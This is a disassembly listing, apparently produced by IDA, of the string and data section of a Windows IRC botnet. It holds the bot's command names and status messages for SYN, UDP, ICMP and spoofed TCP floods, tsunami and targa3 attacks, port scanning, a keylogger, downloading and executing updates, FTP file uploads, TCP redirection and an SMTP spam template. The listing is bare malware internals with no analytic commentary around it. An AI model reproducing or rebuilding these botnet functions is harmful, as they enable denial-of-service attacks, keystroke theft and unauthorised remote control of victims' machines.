		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D48	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D64	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429D80	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429D88	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DA4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DB8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DC0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429DFC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E28	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429E98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429ECC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429EE4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F08	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F50	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429F8C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FC4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_429FE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A004	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A040	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A070	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A07C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A110	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A13C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A178	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1A8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A1E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A248	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A2EC	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A32C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A358	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A434	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A440	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A47C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4CC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A504	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A5D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A674	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A69C	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A6DC	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A714	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A75C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A790	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A850	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A888	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A8D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A908	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A940	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A984	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9CC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:00437F88o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB08	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB44	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42AB8C	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C40o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C50o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_42ADAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42ADCC	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE34	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 10h
unk_42AE60	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AE9C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AED8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42AEFC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42AF1C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF48	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AF94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFB4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42AFEC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B04C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
